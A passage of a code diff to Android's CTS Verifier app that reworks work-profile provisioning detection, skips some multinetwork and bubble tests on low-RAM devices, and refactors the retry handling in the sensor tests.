+    private static final int PREFERENCE_PROVISIONING_COMPLETE_STATUS_NOT_RECEIVED = 0;
+    private static final int PREFERENCE_PROVISIONING_COMPLETE_STATUS_RECEIVED = 1;
+    private static final int PREFERENCE_PROVISIONING_COMPLETE_STATUS_PROCESSED = 2;
+
     private ComponentName mAdminReceiverComponent;
     private KeyguardManager mKeyguardManager;
     private ByodFlowTestHelper mByodFlowTestHelper;
@@ -116,6 +129,26 @@
     private TestListItem mPolicyTransparencyTest;
     private TestListItem mTurnOffWorkFeaturesTest;
     private TestListItem mWidgetTest;
+    private final Handler mHandler = new Handler(Looper.myLooper());
+
+    private final Runnable mPeriodicProvisioningCheckRunnable = new Runnable() {
+        @Override
+        public void run() {
+            if (isProvisioningCompleteBroadcastReceived(getApplicationContext())) {
+                markProvisioningCompleteBroadcastProcessed(getApplicationContext());
+                queryProfileOwner(true);
+            } else {
+                mHandler.postDelayed(this, PROVISIONING_CHECK_PERIOD_MS);
+            }
+        }
+    };
+
+    public static class ProvisioningCompleteReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            markProvisioningCompleteBroadcastReceived(context);
+        }
+    }
 
     public ByodFlowTestActivity() {
         super(R.layout.provisioning_byod,
@@ -152,6 +185,27 @@
     }
 
     @Override
+    protected void onStart() {
+        super.onStart();
+        startPeriodicProvisioningCheckIfNecessary();
+    }
+
+    private void startPeriodicProvisioningCheckIfNecessary() {
+        if (mHandler.hasCallbacks(mPeriodicProvisioningCheckRunnable)) {
+            return;
+        }
+        if (!isProvisioningCompleteBroadcastProcessed(this)) {
+            mHandler.post(mPeriodicProvisioningCheckRunnable);
+        }
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        mHandler.removeCallbacks(mPeriodicProvisioningCheckRunnable);
+    }
+
+    @Override
     protected void onNewIntent(Intent intent) {
         super.onNewIntent(intent);
         if (ByodHelperActivity.ACTION_PROFILE_OWNER_STATUS.equals(intent.getAction())) {
@@ -192,7 +246,7 @@
     private void handleStatusUpdate(int resultCode, Intent data) {
         boolean provisioned = data != null &&
                 data.getBooleanExtra(ByodHelperActivity.EXTRA_PROVISIONED, false);
-        setTestResult(mProfileOwnerInstalled, (provisioned && resultCode == RESULT_OK) ?
+        setProfileOwnerTestResult((provisioned && resultCode == RESULT_OK) ?
                 TestResult.TEST_RESULT_PASSED : TestResult.TEST_RESULT_FAILED);
     }
 
@@ -698,13 +752,21 @@
         }
         catch (ActivityNotFoundException e) {
             Log.d(TAG, "queryProfileOwner: ActivityNotFoundException", e);
-            setTestResult(mProfileOwnerInstalled, TestResult.TEST_RESULT_FAILED);
+            setProfileOwnerTestResult(TestResult.TEST_RESULT_FAILED);
             if (showToast) {
                 Utils.showToast(this, R.string.provisioning_byod_no_activity);
             }
         }
     }
 
+    private void setProfileOwnerTestResult(int result) {
+        setTestResult(mProfileOwnerInstalled, result);
+        if (result == TestResult.TEST_RESULT_FAILED) {
+            clearProvisioningCompleteBroadcastStatus(this);
+            startPeriodicProvisioningCheckIfNecessary();
+        }
+    }
+
     private void checkDiskEncryption() {
         try {
             Intent intent = new Intent(ByodHelperActivity.ACTION_CHECK_DISK_ENCRYPTION);
@@ -798,4 +860,42 @@
             new ComponentName(ByodFlowTestActivity.this, HandleIntentActivity.class.getName()),
             enableState, PackageManager.DONT_KILL_APP);
     }
+
+    private static void markProvisioningCompleteBroadcastReceived(Context context) {
+        markProvisioningCompleteBroadcastWithStatus(context,
+                PREFERENCE_PROVISIONING_COMPLETE_STATUS_RECEIVED);
+    }
+
+    private static void markProvisioningCompleteBroadcastProcessed(Context context) {
+        markProvisioningCompleteBroadcastWithStatus(context,
+                PREFERENCE_PROVISIONING_COMPLETE_STATUS_PROCESSED);
+    }
+
+    private static void clearProvisioningCompleteBroadcastStatus(Context context) {
+        markProvisioningCompleteBroadcastWithStatus(context,
+                PREFERENCE_PROVISIONING_COMPLETE_STATUS_NOT_RECEIVED);
+    }
+
+    private static void markProvisioningCompleteBroadcastWithStatus(Context context, int status) {
+        final SharedPreferences prefs = getProvisioningPreferences(context);
+        final SharedPreferences.Editor editor = prefs.edit();
+        editor.putInt(PREFERENCE_PROVISIONING_COMPLETE_STATUS, status);
+        editor.commit();
+    }
+
+    private static boolean isProvisioningCompleteBroadcastReceived(Context context) {
+        return getProvisioningPreferences(context)
+                .getInt(PREFERENCE_PROVISIONING_COMPLETE_STATUS, 0) ==
+                PREFERENCE_PROVISIONING_COMPLETE_STATUS_RECEIVED;
+    }
+
+    private static boolean isProvisioningCompleteBroadcastProcessed(Context context) {
+        return getProvisioningPreferences(context)
+                .getInt(PREFERENCE_PROVISIONING_COMPLETE_STATUS, 0) ==
+                PREFERENCE_PROVISIONING_COMPLETE_STATUS_PROCESSED;
+    }
+
+    private static SharedPreferences getProvisioningPreferences(Context context) {
+        return context.getSharedPreferences(PROVISIONING_PREFERENCES, MODE_PRIVATE);
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
index e59e6d6..66ff174 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
@@ -64,8 +64,6 @@
     public static final String ACTION_PROFILE_OWNER_STATUS = "com.android.cts.verifier.managedprovisioning.BYOD_STATUS";
     // Primary -> managed intent: request to delete the current profile
     public static final String ACTION_REMOVE_MANAGED_PROFILE = "com.android.cts.verifier.managedprovisioning.BYOD_REMOVE";
-    // Managed -> managed intent: provisioning completed successfully
-    public static final String ACTION_PROFILE_PROVISIONED = "com.android.cts.verifier.managedprovisioning.BYOD_PROVISIONED";
     // Primary -> managed intent: request to capture and check an image
     public static final String ACTION_CAPTURE_AND_CHECK_IMAGE = "com.android.cts.verifier.managedprovisioning.BYOD_CAPTURE_AND_CHECK_IMAGE";
     // Primary -> managed intent: request to capture and check a video with custom output path
@@ -226,14 +224,8 @@
                 NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
                 NotificationManager.IMPORTANCE_DEFAULT));
 
-        // we are explicitly started by {@link DeviceAdminTestReceiver} after a successful provisioning.
-        if (action.equals(ACTION_PROFILE_PROVISIONED)) {
-            // Jump back to CTS verifier with result.
-            Intent response = new Intent(ACTION_PROFILE_OWNER_STATUS);
-            response.putExtra(EXTRA_PROVISIONED, isProfileOwner());
-            new ByodFlowTestHelper(this).startActivityInPrimary(response);
-            // Queried by CtsVerifier in the primary side using startActivityForResult.
-        } else if (action.equals(ACTION_QUERY_PROFILE_OWNER)) {
+        // Queried by CtsVerifier in the primary side using startActivityForResult.
+        if (action.equals(ACTION_QUERY_PROFILE_OWNER)) {
             Intent response = new Intent();
             response.putExtra(EXTRA_PROVISIONED, isProfileOwner());
             setResult(RESULT_OK, response);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index 9cff9d2..11351ec 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -195,15 +195,16 @@
         dpm.addCrossProfileIntentFilter(getWho(context), filter,
                 DevicePolicyManager.FLAG_PARENT_CAN_ACCESS_MANAGED);
 
-        Intent intent = new Intent(context, ByodHelperActivity.class);
-        intent.setAction(ByodHelperActivity.ACTION_PROFILE_PROVISIONED);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        context.startActivity(intent);
         // Disable the work profile instance of this activity, because it is a helper activity for
         // the work -> primary direction.
         context.getPackageManager().setComponentEnabledSetting(
                 new ComponentName(context, ByodPrimaryHelperActivity.class.getName()),
                 PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
+
+        // Disable the work profile instance of ByodFlowTestActivity
+        context.getPackageManager().setComponentEnabledSetting(
+                new ComponentName(context, ByodFlowTestActivity.class),
+                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
     }
 
     private void wipeIfNecessary(Context context, Intent intent) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
index d20e047..d5fbb01 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
@@ -74,7 +74,7 @@
             Settings.ACTION_DISPLAY_SETTINGS,
             Settings.ACTION_SETTINGS,
             Settings.ACTION_ACCESSIBILITY_SETTINGS,
-            Settings.ACTION_INPUT_METHOD_SETTINGS
+            Settings.ACTION_SETTINGS
         };
         final int[] policyLabels = new int[] {
             R.string.set_auto_time_required,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/net/MultiNetworkConnectivityTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/net/MultiNetworkConnectivityTestActivity.java
index 54c9305..b8ab5c4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/net/MultiNetworkConnectivityTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/net/MultiNetworkConnectivityTestActivity.java
@@ -29,6 +29,7 @@
 import static com.android.cts.verifier.net.MultiNetworkConnectivityTestActivity.ValidatorState
         .WAITING_FOR_USER_INPUT;
 
+import android.app.ActivityManager;
 import android.app.AlertDialog;
 import android.content.BroadcastReceiver;
 import android.content.Context;
@@ -64,6 +65,8 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
+import java.util.ArrayList;
+import java.util.Collections;
 import java.util.List;
 
 /**
@@ -136,8 +139,8 @@
 
                 @Override
                 public void testCompleted(MultiNetworkValidator validator) {
-                    if (validator == mMultiNetworkValidators[mMultiNetworkValidators.length
-                            - 1]) {
+                    if (validator == mMultiNetworkValidators.get(mMultiNetworkValidators.size()
+                            - 1)) {
                         // Done all tests.
                         boolean passed = true;
                         for (MultiNetworkValidator multiNetworkValidator :
@@ -148,9 +151,9 @@
                     } else if (!validator.mTestResult) {
                         setTestResultAndFinish(false);
                     } else {
-                        for (int i = 0; i < mMultiNetworkValidators.length; i++) {
-                            if (mMultiNetworkValidators[i] == validator) {
-                                mCurrentValidator = mMultiNetworkValidators[i + 1];
+                        for (int i = 0; i < mMultiNetworkValidators.size(); i++) {
+                            if (mMultiNetworkValidators.get(i) == validator) {
+                                mCurrentValidator = mMultiNetworkValidators.get(i + 1);
                                 mTestNameView.setText(mCurrentValidator.mTestDescription);
                                 mCurrentValidator.startTest();
                                 break;
@@ -159,14 +162,7 @@
                     }
                 }
             };
-    private final MultiNetworkValidator[] mMultiNetworkValidators = {
-            new ConnectToWifiWithNoInternetValidator(
-                    R.string.multinetwork_connectivity_test_1_desc),
-            new LegacyConnectToWifiWithNoInternetValidator(
-                    R.string.multinetwork_connectivity_test_2_desc),
-            new LegacyConnectToWifiWithIntermittentInternetValidator(
-                    R.string.multinetwork_connectivity_test_3_desc)
-    };
+    private List<MultiNetworkValidator> mMultiNetworkValidators = Collections.emptyList();
     private final Runnable mTimeToCompletionRunnable = new Runnable() {
         @Override
         public void run() {
@@ -200,6 +196,8 @@
         super.onCreate(savedInstanceState);
         mConnectivityManager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
         mWifiManager = (WifiManager) getSystemService(Context.WIFI_SERVICE);
+        mMultiNetworkValidators = createMultiNetworkValidators();
+
         recordCurrentWifiState();
         setupUserInterface();
         setupBroadcastReceivers();
@@ -228,6 +226,26 @@
         }
     }
 
+    private List<MultiNetworkValidator> createMultiNetworkValidators() {
+        MultiNetworkValidator[] allValidators = {
+            new ConnectToWifiWithNoInternetValidator(
+                    R.string.multinetwork_connectivity_test_1_desc),
+            new LegacyConnectToWifiWithNoInternetValidator(
+                    R.string.multinetwork_connectivity_test_2_desc),
+            new LegacyConnectToWifiWithIntermittentInternetValidator(
+                    R.string.multinetwork_connectivity_test_3_desc)
+        };
+
+        List<MultiNetworkValidator> result = new ArrayList<>();
+        boolean isLowRamDevice = isLowRamDevice();
+        for (MultiNetworkValidator validator : allValidators) {
+          if (!isLowRamDevice || validator.shouldRunOnLowRamDevice()) {
+            result.add(validator);
+          }
+        }
+        return result;
+    }
+
     private void restoreOriginalWifiState() {
         if (mRecordedWifiConfiguration >= 0) {
             mWifiManager.enableNetwork(mRecordedWifiConfiguration, true);
@@ -235,6 +253,11 @@
     }
 
     private boolean requestSystemAlertWindowPerimissionIfRequired() {
+        if (isLowRamDevice()) {
+          // For low ram devices, we won't run tests that depend on this permission.
+          return true;
+        }
+
         boolean hadPermission = false;
         if (!Settings.canDrawOverlays(this)) {
             AlertDialog alertDialog = new AlertDialog.Builder(this)
@@ -360,11 +383,11 @@
             return;
         }
 
-        for (int i = 0; i < mMultiNetworkValidators.length; i++) {
-            if (mMultiNetworkValidators[i].mValidatorState != COMPLETED) {
-                mCurrentValidator = mMultiNetworkValidators[i];
-                break;
-            }
+        for (MultiNetworkValidator multiNetworkValidator : mMultiNetworkValidators) {
+          if (multiNetworkValidator.mValidatorState != COMPLETED) {
+            mCurrentValidator = multiNetworkValidator;
+            break;
+          }
         }
         if (mCurrentValidator != null) {
             mTestNameView.setText(mCurrentValidator.mTestDescription);
@@ -393,7 +416,7 @@
             mStartButton.setText(R.string.multinetwork_connectivity_test_rerun);
             mStartButton.setEnabled(true);
             rerunMultinetworkTests();
-            mCurrentValidator = mMultiNetworkValidators[0];
+            mCurrentValidator = mMultiNetworkValidators.get(0);
         }
     }
 
@@ -479,6 +502,12 @@
         mStartButton.setText("--");
     }
 
+    private boolean isLowRamDevice() {
+        ActivityManager activityManager =
+            (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+        return activityManager.isLowRamDevice();
+    }
+
     /**
      * Manage the connectivity state for each MultinetworkValidation.
      */
@@ -613,6 +642,7 @@
         final String mTestName;
         final MultinetworkTestCallback mTestCallback;
         final TestConnectivityState mConnectivityState;
+        final boolean mRunTestOnLowMemoryDevices;
 
         int mTestDescription;
         boolean mTestResult = false;
@@ -621,12 +651,15 @@
         int mTestProgressMessage;
 
         MultiNetworkValidator(MultinetworkTestCallback testCallback,
-                String testName, int testDescription) {
+                String testName,
+                int testDescription,
+                boolean runTestOnLowMemoryDevices) {
             mTestCallback = testCallback;
             mTestName = testName;
             mTestDescription = testDescription;
             mConnectivityState = new TestConnectivityState(this);
             mValidatorState = NOT_STARTED;
+            mRunTestOnLowMemoryDevices = runTestOnLowMemoryDevices;
         }
 
         /** Start test if not started. */
@@ -717,6 +750,10 @@
         void onWifiNetworkUnavailable() {
             endTest(false, R.string.multinetwork_status_wifi_connect_timed_out);
         }
+
+        boolean shouldRunOnLowRamDevice() {
+          return mRunTestOnLowMemoryDevices;
+        }
     }
 
     /**
@@ -726,7 +763,10 @@
     private class LegacyConnectToWifiWithNoInternetValidator extends MultiNetworkValidator {
 
         LegacyConnectToWifiWithNoInternetValidator(int description) {
-            super(mMultinetworkTestCallback, "legacy_no_internet_test", description);
+            super(mMultinetworkTestCallback,
+                "legacy_no_internet_test",
+                description,
+                /* runTestOnLowMemoryDevices = */ false);
         }
 
 
@@ -788,7 +828,10 @@
         Network mWifiNetwork;
 
         LegacyConnectToWifiWithIntermittentInternetValidator(int description) {
-            super(mMultinetworkTestCallback, "legcay_no_internet_test", description);
+            super(mMultinetworkTestCallback,
+                "legacy_no_internet_test",
+                description,
+                /* runTestOnLowMemoryDevices = */ false);
         }
 
         @Override
@@ -900,7 +943,10 @@
     private class ConnectToWifiWithNoInternetValidator extends MultiNetworkValidator {
 
         ConnectToWifiWithNoInternetValidator(int description) {
-            super(mMultinetworkTestCallback, "no_internet_test", description);
+            super(mMultinetworkTestCallback,
+                "no_internet_test",
+                description,
+                /* runTestOnLowMemoryDevices = */ true);
         }
 
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index fd1c457..3dc41e6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -20,6 +20,7 @@
 import static android.view.View.VISIBLE;
 
 import android.annotation.NonNull;
+import android.app.ActivityManager;
 import android.app.Notification;
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
@@ -33,6 +34,7 @@
 import android.view.ViewGroup;
 import android.widget.Button;
 import android.widget.TextView;
+import android.widget.Toast;
 
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
@@ -101,16 +103,23 @@
             runNextTestOrShowSummary();
         });
 
-        mTests.add(new EnableBubbleTest());
-        mTests.add(new SendBubbleTest());
-        mTests.add(new SuppressNotifTest());
-        mTests.add(new AddNotifTest());
-        mTests.add(new RemoveMetadataTest());
-        mTests.add(new AddMetadataTest());
-        mTests.add(new ExpandBubbleTest());
-        mTests.add(new DismissBubbleTest());
-        mTests.add(new DismissNotificationTest());
-        mTests.add(new AutoExpandBubbleTest());
+        ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+        if (!am.isLowRamDevice()) {
+            mTests.add(new EnableBubbleTest());
+            mTests.add(new SendBubbleTest());
+            mTests.add(new SuppressNotifTest());
+            mTests.add(new AddNotifTest());
+            mTests.add(new RemoveMetadataTest());
+            mTests.add(new AddMetadataTest());
+            mTests.add(new ExpandBubbleTest());
+            mTests.add(new DismissBubbleTest());
+            mTests.add(new DismissNotificationTest());
+            mTests.add(new AutoExpandBubbleTest());
+        } else {
+            Toast.makeText(getApplicationContext(),
+                    getResources().getString(R.string.bubbles_notification_no_bubbles_low_mem),
+                    Toast.LENGTH_LONG).show();
+        }
 
         setPassFailButtonClickListeners();
 
@@ -453,7 +462,6 @@
         }
     }
 
-
     /** Creates a minimally filled out {@link android.app.Notification.BubbleMetadata.Builder} */
     private Notification.BubbleMetadata.Builder getBasicBubbleBuilder() {
         Context context = getApplicationContext();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
index 34c18de..6e54ef6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
@@ -32,8 +32,7 @@
  */
 public class AccelerometerMeasurementTestActivity extends SensorCtsVerifierTestActivity {
     public AccelerometerMeasurementTestActivity() {
-        super(AccelerometerMeasurementTestActivity.class);
-        mEnableRetry = true;
+        super(AccelerometerMeasurementTestActivity.class, true);
     }
 
     public String testFaceUp() throws Throwable {
@@ -109,12 +108,9 @@
 
     private String delayedVerifyMeasurements(int descriptionResId, float ... expectations)
             throws Throwable {
-        SensorTestLogger logger = getTestLogger();
-        if (!mShouldRetry) {
-            logger.logInstructions(descriptionResId);
-            logger.logWaitForSound();
-            waitForUserToBegin();
-        }
+
+        setFirstExecutionInstruction(descriptionResId);
+        getTestLogger().logWaitForSound();
         Thread.sleep(TimeUnit.MILLISECONDS.convert(7, TimeUnit.SECONDS));
 
         try {
@@ -126,12 +122,8 @@
 
     private String verifyMeasurements(int descriptionResId, float ... expectations)
             throws Throwable {
-        SensorTestLogger logger = getTestLogger();
-        if (!mShouldRetry) {
-            logger.logInstructions(descriptionResId);
-            logger.logInstructions(R.string.snsr_device_steady);
-            waitForUserToBegin();
-        }
+
+        setFirstExecutionInstruction(descriptionResId, R.string.snsr_device_steady);
 
         return verifyMeasurements(expectations);
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
index eaa4924..9689193 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
@@ -36,8 +36,7 @@
  */
 public class BatchingTestActivity extends SensorCtsVerifierTestActivity {
     public BatchingTestActivity() {
-        super(BatchingTestActivity.class);
-        mEnableRetry = true;
+        super(BatchingTestActivity.class, true);
     }
 
     private static final int SENSOR_BATCHING_RATE_US = SensorManager.SENSOR_DELAY_FASTEST;
@@ -122,10 +121,8 @@
 
     private String runBatchTest(int sensorType, int maxBatchReportLatencySec, int instructionsResId)
             throws Throwable {
-        if (!mShouldRetry) {
-            getTestLogger().logInstructions(instructionsResId);
-            waitForUserToBegin();
-        }
+
+        setFirstExecutionInstruction(instructionsResId);
 
         int maxBatchReportLatencyUs = (int) TimeUnit.SECONDS.toMicros(maxBatchReportLatencySec);
         TestSensorEnvironment environment = new TestSensorEnvironment(
@@ -142,10 +139,8 @@
 
     private String runFlushTest(int sensorType, int maxBatchReportLatencySec, int instructionsResId)
             throws Throwable {
-        if (!mShouldRetry) {
-            getTestLogger().logInstructions(instructionsResId);
-            waitForUserToBegin();
-        }
+
+        setFirstExecutionInstruction(instructionsResId);
 
         int maxBatchReportLatencyUs = (int) TimeUnit.SECONDS.toMicros(maxBatchReportLatencySec);
         TestSensorEnvironment environment = new TestSensorEnvironment(
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/GyroscopeMeasurementTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/GyroscopeMeasurementTestActivity.java
index 368eb66..39cdfb0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/GyroscopeMeasurementTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/GyroscopeMeasurementTestActivity.java
@@ -47,8 +47,7 @@
     private final GLRotationGuideRenderer mRenderer = new GLRotationGuideRenderer();
 
     public GyroscopeMeasurementTestActivity() {
-        super(GyroscopeMeasurementTestActivity.class);
-        mEnableRetry = true;
+        super(GyroscopeMeasurementTestActivity.class, true);
     }
 
     @Override
@@ -110,12 +109,9 @@
     public String testCalibratedAndUncalibrated() throws Throwable {
         setRendererRotation(Z_AXIS, false);
 
-        SensorTestLogger logger = getTestLogger();
-        if (!mShouldRetry) {
-            logger.logInstructions(R.string.snsr_keep_device_rotating_clockwise);
-            waitForUserToBegin();
-        }
-        logger.logWaitForSound();
+        setFirstExecutionInstruction(R.string.snsr_keep_device_rotating_clockwise);
+
+        getTestLogger().logWaitForSound();
 
         TestSensorEnvironment calibratedEnvironment = new TestSensorEnvironment(
                 getApplicationContext(),
@@ -150,12 +146,9 @@
             throws Throwable {
         setRendererRotation(rotationAxis, expectationDeg >= 0);
 
-        SensorTestLogger logger = getTestLogger();
-        if (!mShouldRetry) {
-            logger.logInstructions(instructionsResId);
-            waitForUserToBegin();
-        }
-        logger.logWaitForSound();
+        setFirstExecutionInstruction(instructionsResId);
+
+        getTestLogger().logWaitForSound();
 
         TestSensorEnvironment environment = new TestSensorEnvironment(
                 getApplicationContext(),
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
index e747784..e7e55f2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
@@ -54,8 +54,7 @@
  */
 public class SignificantMotionTestActivity extends SensorCtsVerifierTestActivity {
     public SignificantMotionTestActivity() {
-        super(SignificantMotionTestActivity.class);
-        mEnableRetry = true;
+        super(SignificantMotionTestActivity.class, true);
     }
 
     // acceptable time difference between event time and system time
@@ -141,15 +140,12 @@
 
     @SuppressWarnings("unused")
     public String testTriggerDeactivation() throws Throwable {
-        SensorTestLogger logger = getTestLogger();
-        if (!mShouldRetry) {
-            logger.logInstructions(R.string.snsr_significant_motion_test_deactivation);
-            waitForUserToBegin();
-        }
+
+        setFirstExecutionInstruction(R.string.snsr_significant_motion_test_deactivation);
 
         TriggerVerifier verifier = new TriggerVerifier();
         mSensorManager.requestTriggerSensor(verifier, mSensorSignificantMotion);
-        logger.logWaitForSound();
+        getTestLogger().logWaitForSound();
 
         String result;
         try {
@@ -192,11 +188,9 @@
 
     @SuppressWarnings("unused")
     public String testAPWakeUpOnSMDTrigger() throws Throwable {
-        SensorTestLogger logger = getTestLogger();
-        if (!mShouldRetry) {
-            logger.logInstructions(R.string.snsr_significant_motion_ap_suspend);
-            waitForUserToBegin();
-        }
+
+        setFirstExecutionInstruction(R.string.snsr_significant_motion_ap_suspend);
+
         mVerifier = new TriggerVerifier();
         mSensorManager.requestTriggerSensor(mVerifier, mSensorSignificantMotion);
         long testStartTimeNs = SystemClock.elapsedRealtimeNanos();
@@ -247,11 +241,8 @@
             boolean isMotionExpected,
             boolean cancelEventNotification,
             boolean vibrate) throws Throwable {
-        SensorTestLogger logger = getTestLogger();
-        if (!mShouldRetry) {
-            logger.logInstructions(instructionsResId);
-            waitForUserToBegin();
-        }
+
+        setFirstExecutionInstruction(instructionsResId);
 
         if (vibrate) {
             vibrate(VIBRATE_DURATION_MILLIS);
@@ -267,7 +258,7 @@
                     getString(R.string.snsr_significant_motion_cancelation),
                     mSensorManager.cancelTriggerSensor(verifier, mSensorSignificantMotion));
         }
-        logger.logWaitForSound();
+        getTestLogger().logWaitForSound();
 
         String result;
         try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java
index 2c194c1..cedab27 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java
@@ -42,8 +42,8 @@
  */
 public class StepSensorPermissionTestActivity extends SensorCtsVerifierTestActivity
         implements SensorEventListener {
-    private static final int STEP_DETECT_DELAY_SECONDS = 2;
-    private static final int STEP_COUNT_DELAY_SECONDS = 10;
+    private static final int STEP_DETECT_DELAY_SECONDS = 30;
+    private static final int STEP_COUNT_DELAY_SECONDS = 30;
     // Additional amount of time to give for receiving either a step detect or
     // count event in case the user hasn't started walking at the time the test
     // starts.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java
index 84c3ef7..9135c92 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java
@@ -97,13 +97,9 @@
     private GLSurfaceView mGLSurfaceView;
     private boolean mUsingGlSurfaceView;
 
-    // Flag for sensor tests with retry.
-    protected boolean mEnableRetry = false;
     // Flag for Retry button appearance.
-    protected boolean mShouldRetry = false;
-    // Flag for the last sub-test to show Finish button.
-    protected boolean mIsLastSubtest = false;
-    protected int mRetryCount = 0;
+    private boolean mShouldRetry = false;
+    private int mRetryCount = 0;
 
     /**
      * Constructor to be used by subclasses.
@@ -142,7 +138,7 @@
         mFailButton = (Button) findViewById(R.id.fail_button);
         mGLSurfaceView = (GLSurfaceView) findViewById(R.id.gl_surface_view);
         mRetryButton = (Button) findViewById(R.id.retry_button);
-        mRetryButton.setOnClickListener(this);
+        mRetryButton.setOnClickListener(new retryButtonListener());
 
         mRetryButton.setVisibility(View.GONE);
         updateNextButton(false /*enabled*/);
@@ -173,14 +169,7 @@
 
     @Override
     public void onClick(View target) {
-        switch (target.getId()) {
-            case R.id.next_button:
-                mShouldRetry = false;
-                break;
-            case R.id.retry_button:
-                mShouldRetry = true;
-                break;
-        }
+        mShouldRetry = false;
 
         synchronized (mWaitForUserLatches) {
             for (CountDownLatch latch : mWaitForUserLatches) {
@@ -190,6 +179,22 @@
         }
     }
 
+    private class retryButtonListener implements View.OnClickListener {
+
+        @Override
+        public void onClick(View v) {
+            mShouldRetry = true;
+            ++mRetryCount;
+
+            synchronized (mWaitForUserLatches) {
+                for (CountDownLatch latch : mWaitForUserLatches) {
+                    latch.countDown();
+                }
+                mWaitForUserLatches.clear();
+            }
+        }
+    }
+
     @Override
     protected void onActivityResult(int requestCode, int resultCode, Intent data) {
         mActivityResultMultiplexedLatch.onActivityResult(requestCode, resultCode);
@@ -273,6 +278,13 @@
      */
     protected abstract SensorTestDetails executeTests() throws InterruptedException;
 
+    /**
+     * Get mShouldRetry to check if test is required to retry.
+     */
+    protected boolean getShouldRetry() {
+        return mShouldRetry;
+    }
+
     @Override
     public SensorTestLogger getTestLogger() {
         return mTestLogger;
@@ -312,8 +324,12 @@
         }
 
         mTestLogger.logInstructions(waitMessageResId);
+        setNextButtonText(waitMessageResId);
+
+        updateRetryButton(true);
         updateNextButton(true);
         latch.await();
+        updateRetryButton(false);
         updateNextButton(false);
     }
 
@@ -326,14 +342,18 @@
 
     /**
      * Waits for the operator to acknowledge to retry execution.
-     * If the execution is for the last subtest, will notify user by Finish button.
      */
     protected void waitForUserToRetry() throws InterruptedException {
-        if (mIsLastSubtest) {
